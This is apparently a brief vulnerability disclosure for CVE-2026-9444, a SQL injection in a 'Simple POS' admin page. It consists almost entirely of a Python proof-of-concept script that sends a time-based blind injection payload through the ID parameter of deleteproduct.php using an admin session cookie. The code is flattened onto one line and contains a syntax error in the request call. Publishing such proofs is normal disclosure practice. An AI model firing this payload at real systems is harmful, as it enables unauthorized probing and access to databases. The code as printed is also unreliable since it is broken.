CVE-2026-9444: Simple POS SQL注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-9444 SQL Injection import requests target_url = "http://target-ip/admin/deleteproduct.php" # Attacker needs to be authenticated (High Privileges required) cookies = { "PHPSESSID": "valid_admin_session_id" } # Malicious payload for the ID parameter # Example: ' OR SLEEP(5)-- payload = "1' OR SLEEP(5)--" params = { "ID": payload } try: response = requests.get(target_url, params=params, cookies cookies) if response.elapsed.total_seconds() > 5: print("[+] Vulnerability confirmed: Time-based SQL injection detected.") else: print("[-] Vulnerability not detected or patch applied.") except Exception as e: print(f"Error: {e}")